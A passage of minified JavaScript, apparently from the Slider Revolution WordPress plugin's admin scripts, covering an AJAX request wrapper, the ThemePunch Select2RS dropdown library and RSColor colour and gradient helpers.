r=RVS.F.cE({cN:"tponoffwrap"}),o=RVS.F.cE({cN:"tponoff_inner"}),s=RVS.F.cE({cN:"tponoff_on"}),l=RVS.F.cE({cN:"tponoff_off"});s.textContent="On",l.textContent="Off",o.appendChild(l),o.appendChild(s),r.appendChild(o),r=i[a].parentNode.insertBefore(r,i[a]),s.appendChild(i[a])}void 0===e&&(e=!0,RVS.DOC.on("click",".tponoffwrap",function(){RVS.F.turnOnOff(this,!0)})),RVS.F.updateAllOnOff()},RVS.F.updateAllOnOff=function(){void 0===RVS.S.updateingAllOnOff&&(RVS.S.updateingAllOnOff=!0,requestAnimationFrame(function(){jQuery(".tponoffwrap").each(function(){RVS.F.turnOnOff(this,!1)}),delete RVS.S.updateingAllOnOff}))},RVS.F.getAllShortCodes=function(){console.log(""),console.log("%c -------  INSERT SHORTCODE PARAMETERS INTO TEMPLATE LIBRARY  --------","background:#222;color:#bada55"),console.log(""),jQuery(".slider_slug").find("input").each(function(){var e,t="";void 0!==(e=RVS.SC.parseShortCode(this.value))&&void 0!==e.attributes&&(void 0!==(e=e.attributes).usage&&(t+=' usage="'+e.usage+'"'),void 0!==e.modal&&(t+=' modal="'+e.modal+'"'),void 0!==e.offset&&(t+=' offset="'+e.offset+'"'),void 0!==e.layout&&(t+=' layout="'+e.layout+'"'),void 0!==e.zindex&&(t+=' zindex="'+e.zindex+'"'),""!==t&&void 0!==t&&(console.log("%c====   "+e.alias+"   ==== ","background:#222;font-size:13px; line-height:15px;"),console.log("%c"+t,"background:#222;color:#c0392b;font-size:10px; line-height:15px;"),console.log("")))}),console.log("%c -------------------------------------------------------------------","background:#222;color:#bada55")},RVS.F.ajaxRequest=function(e,t,i,a,r,o,s){var l={action:RVS.ENV.plugin_dir+"_ajax_action",client_action:e,nonce:RVS.ENV.nonce,data:t};S(),v(),m(),void 0===a&&(void 0!==o?RVS.F.showWaitAMinute({fadeIn:500,text:o}):RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.please_wait_a_moment})),jQuery.ajax({type:"post",url:ajaxurl,dataType:"json",data:l,success:function(t){if(void 0!==a||t.is_redirect||RVS.F.showWaitAMinute({fadeOut:500}),g(),!t)return RVS.F.showErrorMessage("Empty ajax response!"),!1;if(-1==t)return RVS.F.showErrorMessage("ajax error!!!"),!1;if(0==t)return RVS.F.showErrorMessage("ajax error, action: <b>"+e+"</b> not found"),!1;if(null==t.success)return RVS.F.showErrorMessage("The 'success' param is a must!"),!1;if(0==t.success){if(void 0===r)return RVS.F.showErrorMessage(t.message),!1;"function"==typeof i&&i(t)}else"function"==typeof i&&i(t),t.message&&!0!==s&&f(t.message),t.is_redirect&&(location.href=t.redirect_url)},error:function(t,i,r){switch(void 0===a&&RVS.F.showWaitAMinute({fadeOut:500}),g(),e){case"preview_slider":jQuery("#rbm_preview .rbm_close").trigger("click"),RVS.F.showInfo({content:RVS_LANG.previewnotworking,type:"info",showdelay:0,hidedelay:5,hideon:"",event:""});break;case"check_system":RVS.F.showInfo({content:RVS_LANG.checksystemnotworking,type:"info",showdelay:0,hidedelay:5,hideon:"",event:""});break;default:"parsererror"==i&&RVS.F.debug(t.responseText),RVS.F.showErrorMessage("Ajax Error!!! "+i)}}})},RVS.F.showErrorMessage=function(e){RVS.F.showInfo({content:e,type:"warning",showdelay:0,hidedelay:3,hideon:"",event:""}),h()},RVS.F.setErrorMessageID=function(e){t=e},RVS.F.setSuccessMessageID=function(e){i=e},RVS.F.hideSuccessMessage=function(){i?(jQuery("#"+i).hide(),i=null):jQuery("#success_message").slideUp("slow").fadeOut("slow"),h()};var v=function(){a&&jQuery("#"+a).show()},g=function(){a&&(jQuery("#"+a).hide(),a=null)},m=function(){if(r){var e=r.split(",");if(e.length>1)for(var t=0;t<e.length;t++)jQuery("#"+e[t]).hide();else jQuery("#"+r).hide()}},h=function(){if(r){var e=r.split(",");if(e.length>1)for(var t=0;t<e.length;t++)jQuery("#"+e[t]).show();else jQuery("#"+r).show();r=null}},S=function(){null!==t?(jQuery("#"+t).hide(),t=null):jQuery("#error_message").hide()},f=function(e){RVS.F.showInfo({content:e,type:"success",showdelay:0,hidedelay:1,hideon:"",event:""}),h()}}(),window.UniteLayersRev={addon_callbacks:[]},UniteLayersRev.addPreventLeave=UniteLayersRev.add_layer_actions=UniteLayersRev.add_layer_change=function(){console.log("Function is depricated. Please Update Addons")},
/*!
 * ThemePunchs Own Select2RS Library
 * @version: 2.0 (25.03.2021)
 * @author ThemePunch
*/
function(e,t){"use strict";var i,a,r=8,o=9,s=13,l=16,n=17,d=18,c=227,p=91,u=93,v=37,g=38,m=39,h=40,S=e(document);window.ddTPCalls=["destroy","update","rebuild","change","main"],window.ddTP_R_cache={},window.ddTPcache={},e.fn.extend({select2RS:function(t,i){return e(this).ddTP(t,i)},ddTP:function(e,t){return"destroy"==e||"update"==e||"rebuild"==e||"change"==e?(window.ddTP_R_cache[e]=void 0===window.ddTP_R_cache[e]?{list:[],params:[]}:window.ddTP_R_cache[e],window.ddTP_R_cache[e].list.push(this),window.ddTP_R_cache[e].params.push(t)):(window.ddTP_R_cache.main=void 0===window.ddTP_R_cache.main?{list:[],params:[]}:window.ddTP_R_cache.main,window.ddTP_R_cache.main.list.push(this),window.ddTP_R_cache.main.params.push(e)),void 0===window.ddTP_R_RFACalled&&(window.ddTP_R_RFACalled=!0,requestAnimationFrame(function(){var e,t,i;for(i=0;i<window.ddTPCalls.length;i++)if(e=window.ddTPCalls[i],void 0!==window.ddTP_R_cache[e])for(t in window.ddTP_R_cache[e].list)f(window.ddTP_R_cache[e].list[t],e,window.ddTP_R_cache[e].params[t]);window.ddTP_R_cache={},delete window.ddTP_R_RFACalled})),void 0===i&&G(),this}});var f=function(e,t,i){if("destroy"==t)for(r in e)e.hasOwnProperty(r)&&void 0!==e[r]&&"SELECT"===e[r].tagName&&void 0!==e[r].id&&""!==e[r].id&&void 0!==ddTPcache[e[r].id]&&y(e[r]);else if("update"==t)for(r in e)e.hasOwnProperty(r)&&void 0!==e[r]&&"SELECT"===e[r].tagName&&void 0!==e[r].id&&""!==e[r].id&&void 0!==ddTPcache[e[r].id]&&a.INFOCUS===e[r].id&&F(e[r].id,!0);else if("rebuild"==t)for(var r in e)!e.hasOwnProperty(r)||void 0===e[r]||"SELECT"!==e[r].tagName||void 0===e[r].id&&""===e[r].id||(y(e[r]),b(e[r],i));else if("change"==t)for(var r in e)e.hasOwnProperty(r)&&void 0!==e[r].id&&""!==e[r].id&&void 0!==ddTPcache[e[r].id]&&R(ddTPcache[e[r].id].rendered,O(e[r],ddTPcache[e[r].id].params));else for(var r in e)!e.hasOwnProperty(r)||void 0===e[r]||"SELECT"!==e[r].tagName||void 0!==e[r].id&&""!==e[r].id&&void 0!==ddTPcache[e[r].id]||b(e[r],i)},b=function(e,t){void 0!==e.id&&""!==e.id||(e.id="ddTP_"+Math.round(1e10*Math.random())),e.classList.add("ddTP_hidden"),e.classList.add("ddTP_based");var i=void 0===ddTPcache[e.id]?document.createElement("span"):ddTPcache[e.id].container,a=document.createElement("span"),r=document.createElement("span"),o=document.createElement(e.multiple?"ul":"span");if(i.className="ddTP ddTP_C ddTP-fake"+(void 0!==e.dataset.theme?" ddTP_C--"+e.dataset.theme:""),a.className="selection",r.className="ddTP_S ddTP_S--"+(e.multiple?"multiple":"single"),o.className="ddTP_S__rendered",i.dataset.refid=e.id,a.dir="ltr",a.appendChild(r),r.appendChild(o),!e.multiple){var s=document.createElement("span"),l=document.createElement("b");s.className="ddTP_S__arrow",r.appendChild(s),s.appendChild(l)}R(o,O(e,t)),i.appendChild(a),z(i,e),ddTPcache[e.id]={sel:e,container:i,innerwrapper:a,selection:r,rendered:o,params:void 0===t?{}:t}},y=function(e){null!=ddTPcache&&null!=ddTPcache[e.id]&&null!=ddTPcache[e.id].container&&null!=ddTPcache[e.id].container.parentNode&&(ddTPcache[e.id].container.parentNode.removeChild(ddTPcache[e.id].container),ddTPcache[e.id].container.innerHTML="",delete ddTPcache[e.id])},R=function(e,t){requestAnimationFrame(function(){"UL"===e.tagName?(e.innerHTML="",e.appendChild(t.values)):t.html?e.innerHTML=t.values:e.innerText=t.values})},V=function(e,t,i){return void 0===t||void 0===e?void 0:void 0!==e.preData?t[e.preData]:void 0!==e.preDataFunction?e.preDataFunction(i):void 0},O=function(e,t){if(e.multiple){var i=document.createDocumentFragment(),r=!1;for(var o in e.options)void 0!==e.options[o]&&e.options[o].selected&&(r=!0,i.appendChild(k(e.options[o].value,void 0===e.options[o].text?e.options[o].value:e.options[o].text,void 0,e.id,t,V(t,e.options[o].dataset,e.options[o].value))));return(t.tags||t.search)&&(a.liSearch=document.createElement("li"),a.liSearch.className="ddTP_SCH ddTP_SCH--inline",a.liSearch.appendChild(B(t.searchValue,e.id)),i.appendChild(a.liSearch),r=!0),r||i.appendChild(k(void 0,void 0===t||void 0===t.placeholder?"":t.placeholder,!0,e.id,t,V(t,e.options[o].dataset,e.options[o].value))),{values:i}}i="";var s,l,n=!1;for(var o in e.options)o!==e.options[o].id&&e.options[o].selected&&(void 0!==(s=void 0!==(l=V(t,e.options[o].dataset,e.options[o].value))?L(t,l):void 0)&&(n=!0),i+=(void 0===s?"":s)+(void 0===e.options[o].text?e.options[o].value:e.options[o].text));return{html:n,values:""===i?void 0===t||void 0===t.placeholder?"":t.placeholder:i}},B=function(e,t){var i=document.createElement("input");return i.className="ddTP_SCH__field",i.dataset.refid=t,i.tabindex="0",i.autocomplete="off",i.autocorrect="off",i.autocapitalize="none",i.spellcheck="false",i.role="searchbox",i.ariaAutocomplete="list",i.placeholder="",i.type="search",void 0!==e&&e.length>0?(i.value=e,i.style.width=.75*(i.value.length+1)+"em"):i.style.width="0.75em",i},L=function(e,t){return void 0!==e&&void 0!==e.pre?e.pre.replace("#data#",t):void 0},k=function(e,t,i,a,r,o){var s=T({c:"ddTP_S__choice"+(i?" isplaceholder":""),v:e,id:a,iH:t||e,iTB:L(r,o)});if(!i){var l=document.createElement("span");l.className="ddTP_S__choice__remove",l.innerText="x",l.dataset.refid=a,s.appendChild(l)}return s},w=function(){if(null!=a.INFOCUS){var e=window.ddTPcache[a.INFOCUS];a.wrap.classList.remove("ddTP_C--open"),e.container.classList.remove("ddTP_C--open"),e.container.classList.remove("ddTP_C--focus"),null!==a.liSearch&&void 0!==a.liSearch&&(a.liSearch.style.display="none"),tpGS.gsap.set(a.wrap,{display:"none"}),delete a.timeStamp,delete a.INFOCUS,delete a.highlighted,D()}},I=function(){if(void 0!==a.timeStamp&&void 0!==a.INFOCUS&&void 0!==window.ddTPcache[a.INFOCUS]&&void 0!==window.ddTPcache[a.INFOCUS].container){var e=window.ddTPcache[a.INFOCUS].container.getBoundingClientRect();tpGS.gsap.set(a.wrap,{x:e.left+a.drop.offsetWidth>window.innerWidth?e.left+(window.innerWidth-25-(e.left+a.drop.offsetWidth)):e.left,y:window.pageYOffset+e.bottom+a.drop.offsetHeight>window.pageYOffset+window.innerHeight-50?window.pageYOffset+e.top-a.drop.offsetHeight:e.bottom+window.pageYOffset}),requestAnimationFrame(function(){I()})}},C=function(){void 0!==a.highlighted&&null!==a.highlighted&&(a.ul.scrollTop+50>a.highlighted.offsetTop?a.ul.scrollTop=Math.max(0,a.highlighted.offsetTop-100):a.ul.scrollTop-300<a.highlighted.offsetTop&&(a.ul.scrollTop=a.highlighted.offsetTop-200))},T=function(e){var t=document.createElement("li");return void 0!==e.group?(t.innerHTML='<strong class="ddTP_R__group">'+e.group+"</strong>",t):(e.c&&(t.className=e.c),e.v&&(t.dataset.val=e.v),e.iTB||e.iTA?t.innerHTML=(void 0===e.iTB?"":e.iTB)+(void 0===e.iT?e.iH:e.iT)+(void 0===e.iTA?"":e.iTA):e.iT?t.innerText=e.iT:e.iH&&(t.innerHTML=e.iH),e.id&&(t.dataset.refid=e.id),void 0!==e.optid&&(t.dataset.optid=e.optid),e.aS&&(t.ariaSelected=e.aS),t)},x=function(e,t,i,r){return T({c:"ddTP_RO"+(void 0===a.highlighted&&e.selected?" ddTP_RO--highlighted":""),v:e.value,id:r,aS:e.selected,iT:void 0===e.text||""===e.text?e.value:e.text,iTB:L(i,V(i,e.dataset,e.value)),optid:t,group:"OPTGROUP"===e.tagName?e.label:void 0})},F=function(e,t){var i,r=window.ddTPcache[e],o=(r.container.getBoundingClientRect(),document.createDocumentFragment()),s="";r.params=void 0===r.params?{}:r.params,r.params.tags="true"==r.sel.dataset.tags||r.params.tags,r.params.search=void 0===r.params.search?(" "+r.sel.className).indexOf(" searchbox")>=0:r.params.search,a.highlighted=void 0,a.timeStamp||(a.searchi.value="",requestAnimationFrame(function(){a.searchi.focus()})),M(),a.wrap.className="ddTP_C ddTP_C--default ddTP_C--open"+(void 0!==r.sel.dataset.theme?" ddTP_C--"+r.sel.dataset.theme:""),r.container.classList.add("ddTP_C--open"),r.container.classList.add("ddTP_C--focus"),a.ul.ariaMultiselectable=r.sel.multiple,a.searchw.style.display=r.sel.multiple||!r.params.search?"none":"block",a.INFOCUS=e,a.ul.innerHTML="",a.searchi.dataset.refid=e,r.params.search&&void 0!==r.params.searchValue&&""!==r.params.searchValue&&(s=r.params.searchValue.toLowerCase()),r.sel.multiple&&(r.params.search||r.params.tags)&&null!==a.liSearch&&void 0!==a.liSearch&&(a.liSearch.style.display="block");var l=-1;for(var n in r.sel.children)if(l++,!(!r.sel.children.hasOwnProperty(n)||"OPTION"!==r.sel.children[n].tagName&&"OPTGROUP"!==r.sel.children[n].tagName||r.sel.children[n].disabled||"OPTION"===r.sel.children[n].tagName&&""!==s&&-1==r.sel.children[n].value.toLowerCase().indexOf(s)&&-1==r.sel.children[n].textContent.toLowerCase().indexOf(s)))if(i=x(r.sel.children[n],l,r.params,e),"OPTGROUP"===r.sel.children[n].tagName)for(var d in o.appendChild(i),l--,r.sel.children[n].children)l++,!r.sel.children[n].children.hasOwnProperty(d)||"OPTION"!==r.sel.children[n].children[d].tagName||r.sel.children[n].children[d].disabled||""!==s&&-1==r.sel.children[n].children[d].value.toLowerCase().indexOf(s)&&-1==r.sel.children[n].children[d].textContent.toLowerCase().indexOf(s)||(i=x(r.sel.children[n].children[d],l,r.params,e),void 0===a.highlighted&&r.sel.children[n].selected&&(a.highlighted=i),o.appendChild(i));else void 0===a.highlighted&&r.sel.children[n].selected&&(a.highlighted=i),o.appendChild(i);if(void 0===a.highlighted&&o.childElementCount>0&&(a.highlighted=o.firstElementChild,C(),a.highlighted.classList.add("ddTP_RO--highlighted")),a.ul.appendChild(o),tpGS.gsap.set(a.wrap,{display:"block",left:0,top:0,position:"absolute",width:"185px"}),void 0===a.timeStamp&&(a.timeStamp=2,C(),requestAnimationFrame(function(){I()})),t&&R(r.rendered,O(r.sel,r.params)),(r.params.tags||r.params.search)&&r.params.searchFocus){var c=r.sel.multiple?r.rendered.getElementsByClassName("ddTP_SCH__field"):a.searchi;null!=c&&c.length>0&&requestAnimationFrame(function(){c[0].focus(),0!==r.params.cursorPosition&&void 0!==r.params.cursorPosition&&(c[0].selectionStart=c[0].selectionEnd=r.params.cursorPosition),r.params.cursorPosition=0})}},J=function(e){if(null!=e.sel&&null!=e.sel.options){var t;for(var i in e.sel.options){if(!e.sel.options.hasOwnProperty(i)||t)continue;t=e.sel.options[i].value==e.value?e.sel.options[i]:t}void 0!==t&&e.sel.removeChild(t)}},N=function(e){requestAnimationFrame(function(){F(e,!0)})},P=function(e){void 0!==a.INFOCUS&&-1===e.target.className.indexOf("ddTP")&&w()},j=function(){a.highlighted=document.getElementsByClassName("ddTP_RO--highlighted"),a.highlighted=null===a.highlighted||void 0===a.highlighted||0===a.highlighted.length?void 0:a.highlighted[0]},A=function(e){j(),void 0!==a.highlighted&&null!==a.highlighted[e]&&void 0!==a.highlighted[e]&&(a.highlighted.classList.remove("ddTP_RO--highlighted"),a.highlighted=a.highlighted[e],a.highlighted.classList.add("ddTP_RO--highlighted"),C())},E=function(e){if(void 0!==a.INFOCUS&&void 0!==a.highlighted){var t=e.which||e.keyCode;return t===g||t===h?(ddTPcache[a.INFOCUS].sel.multiple?null!==a.liSearch&&void 0!==a.liSearch&&a.liSearch.blur():a.searchi.blur(),A(t===g?"previousElementSibling":"nextElementSibling"),e.preventDefault(),!1):t!==s||ddTPcache[a.INFOCUS].params.tags?void 0:(j(),void 0!==a.highlighted&&Q(a.highlighted),e.preventDefault(),!1)}},D=function(){document.body.removeEventListener("click",P),document.body.removeEventListener("keydown",E),a.GLOBALLISTENER=void 0},M=function(){a.GLOBALLISTENER||(document.body.addEventListener("click",P),document.body.addEventListener("keydown",E),a.GLOBALLISTENER=!0)},G=function(){var t;i=!0,t=document.createDocumentFragment(),(a={wrap:document.createElement("span"),drop:document.createElement("span"),searchw:document.createElement("span"),searchi:document.createElement("input"),result:document.createElement("span"),ul:document.createElement("ul")}).wrap.className="ddTP_C ddTP_C--default",a.drop.className="ddTP-dropdown ddTP-dropdown--below",a.searchw.className="ddTP_SCH ddTP_SCH--dropdown",a.searchi.className="ddTP_SCH__field",a.result.className="ddTP_R",a.ul.className="ddTP_ROs",a.drop.dir="ltr",a.searchi.type="search",a.searchw.appendChild(a.searchi),a.wrap.appendChild(a.drop),a.drop.appendChild(a.searchw),a.drop.appendChild(a.result),a.result.appendChild(a.ul),t.appendChild(a.wrap),a.wrap.style.display="none",document.body.appendChild(t),S.on("click",".ddTP_C.ddTP-fake",function(){a.INFOCUS!==this.dataset.refid||ddTPcache[this.dataset.refid].params.tags||ddTPcache[this.dataset.refid].multiple?(ddTPcache[this.dataset.refid].params.searchFocus=!0,F(this.dataset.refid)):w()}),S.on("mouseenter",".ddTP_RO",function(){this.classList.add("ddTP_RO--highlighted")}),S.on("mouseleave",".ddTP_RO",function(){this.classList.remove("ddTP_RO--highlighted")}),S.on("click",".ddTP_S__choice__remove",function(){var t=ddTPcache[this.dataset.refid];return t.params.tags?(J({sel:t.sel,value:this.parentNode.dataset.val}),this.parentNode.parentNode.removeChild(this.parentNode),t.params.searchValue="",t.params.searchFocus=!1):(!function(e){if(null!=e.sel&&null!=e.sel.options){var t;for(var i in e.sel.options)e.sel.options.hasOwnProperty(i)&&!t&&(t=e.sel.options[i].value==e.value?e.sel.options[i]:t);void 0!==t&&(t.selected=!1)}}({sel:t.sel,value:this.parentNode.dataset.val}),t.params.searchValue="",t.params.searchFocus=!1),t.sel.dispatchEvent(new Event("change",{bubbles:!0})),e(t.sel).trigger("ddTP:unselect"),N(this.dataset.refid),!1}),S.on("keydown",".ddTP_SCH__field",function(t){var i=t.which||t.keyCode,a=this.dataset.refid,l=ddTPcache[a];if(i===g||i===h)return A(i===g?"previousElementSibling":"nextElementSibling"),t.preventDefault(),!1;if(i!==o)if(l.params.tags){if(l.params.tags&&i===r&&""===this.value){var n=this.parentNode.previousElementSibling;null!=n&&"LI"===n.tagName&&void 0!==n.dataset.val&&(l.params.searchValue=n.dataset.val,l.params.searchFocus=!0,J({sel:l.sel,value:l.params.searchValue}),e(l.sel).trigger("ddTP:unselect"))}else if(this.value.length>1&&(e.inArray(String.fromCharCode(i),l.params.tokenSeparators)>=0||e.inArray(t.key,l.params.tokenSeparators)>=0)||i===s){var d=document.createElement("option");d.value=this.value,d.innerHTML=this.value,d.dataset.refid=a,d.selected=!0,l.sel.appendChild(d),l.sel.multiple&&this.parentNode.parentNode.insertBefore(k(this.value,void 0,l.sel.id,void 0),this.parentNode),this.value="",l.params.searchValue="",l.params.searchFocus=!0,l.params.cursorPosition=0,l.sel.multpile||(d.ariaSelected=!0),e(l.sel).trigger("ddTP:select"),l.sel.multpile||(R(l.rendered,O(l.sel,l.params)),l.sel.dispatchEvent(new Event("change",{bubbles:!0})),w())}}else l.sel.multiple&&l.params.search&&H(this);else w()}),S.on("keyup",".ddTP_SCH__field",function(e){var t=e.which||e.keyCode;t!==v&&t!==m&&t!==l&&t!=d&&t!=n&&t!=c&&t!=u&&t!=p&&(_=ddTPcache[this.dataset.refid],_.params.searchValue=this.value,_.params.searchFocus=!0,_.params.cursorPosition=this.selectionStart,F(this.dataset.refid,!0))}),S.on("click",".ddTP_RO",function(){Q(this)})},Q=function(t){var i=ddTPcache[t.dataset.refid];i.sel.multiple?(t.ariaSelected=1!=t.ariaSelected&&"true"!=t.ariaSelected,i.sel.options[t.dataset.optid].selected=1==t.ariaSelected||"true"==t.ariaSelected,i.params.searchValue="",i.params.searchFocus=!1,e(i.sel).trigger("ddTP:select")):(i.sel.value=t.dataset.val,w()),R(i.rendered,O(i.sel,i.params)),i.sel.dispatchEvent(new Event("change",{bubbles:!0})),i.sel.multiple&&N(t.dataset.refid)},z=function(e,t){null!==t&&void 0!==e&&null!==t.parentNode&&t.parentNode.insertBefore(e,t.nextSibling)},H=function(e){tpGS.gsap.set(e,{width:.75*(e.value.length+1)+"em"})}}(jQuery),window.RSColor={defaultValue:"#ffffff",isColor:/(^#[0-9A-F]{6}$)|(^#[0-9A-F]{3}$)/i,get:function(e){return e?RSColor.process(e,!0)[0]:"transparent"},parse:function(e,t,i){e=RSColor.process(e,!0);var a=[];return a[0]=t?t+": "+e[0]+";":e[0],i&&(a[1]=e[1]),a},convert:function(e,t){if(!e||"string"!=typeof e)return RSColor.defaultValue;if("transparent"===e)return e;if(-1!==e.search(/\[\{/)||-1!==e.search("gradient"))return RSColor.process(e,!0)[0];if(void 0===t||isNaN(t))return RSColor.process(e,!0)[0];if((t=parseFloat(t))<=1&&(t*=100),0===(t=Math.max(Math.min(parseInt(t,10),100),0)))return"transparent";try{return-1!==e.search("#")||e.length<8?(RSColor.isColor.test(e)||(e=e.replace(/[^A-Za-z0-9#]/g,"")),RSColor.processRgba(RSColor.sanitizeHex(e),t)):(e=RSColor.rgbValues(e,3),RSColor.rgbaString(e[0],e[1],e[2],.01*t))}catch(e){return RSColor.defaultValue}},process:function(e,t){if("string"!=typeof e)return t&&RSColor.sanitizeGradient(e),[RSColor.processGradient(e),"gradient",e];if("transparent"===e.trim())return["transparent","transparent"];if(-1===e.search(/\[\{/))return-1!==e.search("-gradient")?[e,"gradient_css",RSColor.reverseGradient(e)]:-1!==e.search("#")?[RSColor.sanitizeHex(e),"hex"]:-1!==e.search("rgba")?(-1!==(e=e.replace(/\s/g,"")).search(/,\)/)&&(e=e.split(",)")[0]+",1)"),[e,"rgba"]):[e.replace(/\s/g,""),"rgb"];try{return e=JSON.parse(e.replace(/\&/g,'"')),t&&RSColor.sanitizeGradient(e),[RSColor.processGradient(e),"gradient",e]}catch(e){return console.log("RSColor.process() failed to parse JSON string"),["linear-gradient(0deg, rgba(255, 255, 255, 1) 0%, rgba(0, 0, 0, 1) 100%)","gradient",{type:"linear",angle:"0",colors:[{r:"255",g:"255",b:"255",a:"1",position:"0",align:"bottom"},{r:"0",g:"0",b:"0",a:"1",position:"100",align:"bottom"}]}]}},transparentRgba:function(e,t){if(!t&&"rgba"!==RSColor.process(e)[1])return!1;return"0"===RSColor.rgbValues(e,4)[3]},rgbValues:function(e,t){3===(e=e.substring(e.indexOf("(")+1,e.lastIndexOf(")")).split(",")).length&&4===t&&(e[3]="1");for(var i=0;i<t;i++)void 0!==e[i]&&(e[i]=e[i].trim());return e},rgbString:function(e,t,i){return"rgb("+e+", "+t+", "+i+")"},rgbaString:function(e,t,i,a){return"rgba("+e+", "+t+", "+i+", "+a+")"},rgbToHex:function(e){var t=RSColor.rgbValues(e,3);return RSColor.getRgbToHex(t[0],t[1],t[2])},rgbaToHex:function(e){var t=RSColor.rgbValues(e,4);return[RSColor.getRgbToHex(t[0],t[1],t[2]),t[3]]},getOpacity:function(e){return parseInt(100*RSColor.rgbValues(e,4)[3],10)+"%"},getRgbToHex:function(e,t,i){return"#"+("0"+parseInt(e,10).toString(16)).slice(-2)+("0"+parseInt(t,10).toString(16)).slice(-2)+("0"+parseInt(i,10).toString(16)).slice(-2)},sanitizeAlpha:function(e){return parseFloat(Math.max(Math.min(parseFloat(e),1),0).toFixed(2).replace(/\.?0*$/,""))},joinToRgba:function(e){return e=e.split("||"),RSColor.convert(e[0],e[1])},processRgba:function(e,t){e=e.replace("#","");var i=void 0!==t,a=(i?"rgba":"rgb")+"("+parseInt(e.substring(0,2),16)+", "+parseInt(e.substring(2,4),16)+", "+parseInt(e.substring(4,6),16);return a+=i?", "+(.01*parseInt(t,10)).toFixed(2).replace(/\.?0*$/,"")+")":")"},hexToRGB:function(e){return e=e.replace("#",""),[parseInt(e.substring(0,2),16),parseInt(e.substring(2,4),16),parseInt(e.substring(4,6),16)]},processGradient:function(e,t,i){t&&RSColor.sanitizeGradient(e),!i&&e.easing&&"none"!==e.easing&&("undefined"!=typeof jQuery&&(e=jQuery.extend(!0,{},e)),RSColor.easeGradient(e));var a,r,o=e.type,s=o+"-gradient(";r="linear"===o?180!==(a=parseInt(e.angle,10))?a+"deg, ":"":"ellipse at center, ";for(var l,n=e.colors,d=n.length,c="",p=0;p<d;p++)p>0&&(c+=", "),c+="rgba("+(l=n[p]).r+", "+l.g+", "+l.b+", "+l.a+") "+l.position+"%";return s+r+c+")"},sanitizeHex:function(e){if(3===(e=e.replace("#","").trim()).length){var t=e.charAt(0),i=e.charAt(1),a=e.charAt(2);e=t+t+i+i+a+a}return"#"+e},sortPoints:function(e,t){return e.hasOwnProperty("x")?e.x<t.x?-1:e.x>t.x?1:0:e.position<t.position?-1:e.position>t.position?1:0},distColor:function(e,t,i,a,r){return Math.max(Math.min(Math.round(Math.abs((e-t)/(i-t)*(r-a)+a)),255),0)},distAlpha:function(e,t,i,a,r){return Math.max(Math.min(Math.abs(parseFloat(((e-t)/(i-t)*(r-a)).toFixed(2))+parseFloat(a)),1),0)},sanitizeGradient:function(e){var t,i=e.colors,a=i.length,r=[];i.sort(RSColor.sortPoints);for(var o=0;o<a;o++){var s=i[o];delete s.align,s.a=RSColor.sanitizeAlpha(s.a),s.r=parseInt(s.r,10),s.g=parseInt(s.g,10),s.b=parseInt(s.b,10),s.position=parseInt(s.position,10),t?JSON.stringify(s)!==JSON.stringify(t)&&(r[r.length]=s):r[r.length]=s,t=s}return e.colors=r,e},reverseGradient:function(e){if(-1!==e.search("hsl"))return e;var t=(e=e.replace(/\-moz\-|\-webkit\-/,"").replace("to left","90deg").replace("to bottom","180deg").replace("to top","0deg").replace("to right","270deg").replace(";","")).split("-gradient(");if(t.length<2)return e;var i="0",a=t[1].trim();-1===a.search("ellipse at center")?-1!==a.search("deg")&&(i=(a=a.split("deg"))[0].trim(),a=a[1].trim()):a=a.replace("ellipse at center",""),","===a.charAt(0)&&(a=a.slice(1)),","===a.charAt(a.length-1)&&(a=a.slice(0,a.length-1));var r,o,s,l,n,d=a.split("%"),c=[],p=0;d.pop(),n=d.length;for(var u=0;u<n;u++){if(s=(l=d[u].trim()).length,r="",","===l.charAt(0)&&(l=l.slice(1)),-1===l.search(" "))return e;for(r=l.split(" "),r=parseInt(r[r.length-1],10);s--&&(p=s," "!==l[s]););l=-1!==(l=l.substring(0,p)).search(/\)/)?l.split(")")[0].trim()+")":l.split(" ")[0].trim(),"hex"===RSColor.process(l)[1]&&(l=RSColor.sanitizeHex(l),l=RSColor.processRgba(l)),o&&o===l||(o=l,l=RSColor.rgbValues(l,4),c[c.length]={r:l[0],g:l[1],b:l[2],a:l[3],position:r,align:"top"},c[c.length]={r:l[0],g:l[1],b:l[2],a:1,position:r,align:"bottom"})}return JSON.stringify({type:t[0].trim(),angle:i,colors:c})},insertPoints:function(e,t,i,a,r){var o=e.position,s=t.position;if(!(o>s)){for(var l,n,d,c=[],p=0;p<r;p++)(n=parseFloat(a(p,0,1,r).toFixed(2))*(s-o)+o)>o&&n<s&&(c[c.length]=n);var u,v,g=c.length,m=parseFloat(((s-o)/(g+1)).toFixed(2)),h=parseFloat(m+o);for(p=0;p<g;p++)(d=c[p])!==e.position&&(u=RSColor.sanitizeAlpha(e.a),v=RSColor.sanitizeAlpha(t.a),l={position:h,r:e.r!==t.r?Math.round(RSColor.distColor(d,o,s,e.r,t.r)):e.r,g:e.g!==t.g?Math.round(RSColor.distColor(d,o,s,e.g,t.g)):e.g,b:e.b!==t.b?Math.round(RSColor.distColor(d,o,s,e.b,t.b)):e.b,a:u!==v?RSColor.sanitizeAlpha(RSColor.distAlpha(d,o,s,e.a,t.a)):u},h+=m,h=parseFloat(h.toFixed(2)),i[i.length]=l)}},easeGradient:function(e){var t=.01*parseInt(e.strength,10)*15,i=e.colors,a=e.easing,r=i.length-1,o=[];i.sort(RSColor.sortPoints),a=a.split("."),a=RSColor.easing[a[0]][a[1]];for(var s=0;s<r;s++)o[o.length]=i[s],RSColor.insertPoints(i[s],i[s+1],o,a,t);o[o.length]=i[r],e.colors=o},easing:{quint:{easeout:function(e,t,i,a){return i*((e=e/a-1)*e*e*e*e+1)+t},easein:function(e,t,i,a){return i*(e/=a)*e*e*e*e+t},easeinout:function(e,t,i,a){return(e/=a/2)<1?i/2*e*e*e*e*e+t:i/2*((e-=2)*e*e*e*e+2)+t}},quad:{easein:function(e,t,i,a){return i*(e/=a)*e+t},easeout:function(e,t,i,a){return-i*(e/=a)*(e-2)+t},easeinout:function(e,t,i,a){return(e/=a/2)<1?i/2*e*e+t:-i/2*(--e*(e-2)-1)+t}},quart:{easein:function(e,t,i,a){return i*(e/=a)*e*e*e+t},easeout:function(e,t,i,a){return-i*((e=e/a-1)*e*e*e-1)+t},easeinout:function(e,t,i,a){return(e/=a/2)<1?i/2*e*e*e*e+t:-i/2*((e-=2)*e*e*e-2)+t}},cubic:{easein:function(e,t,i,a){return i*(e/=a)*e*e+t},easeout:function(e,t,i,a){return 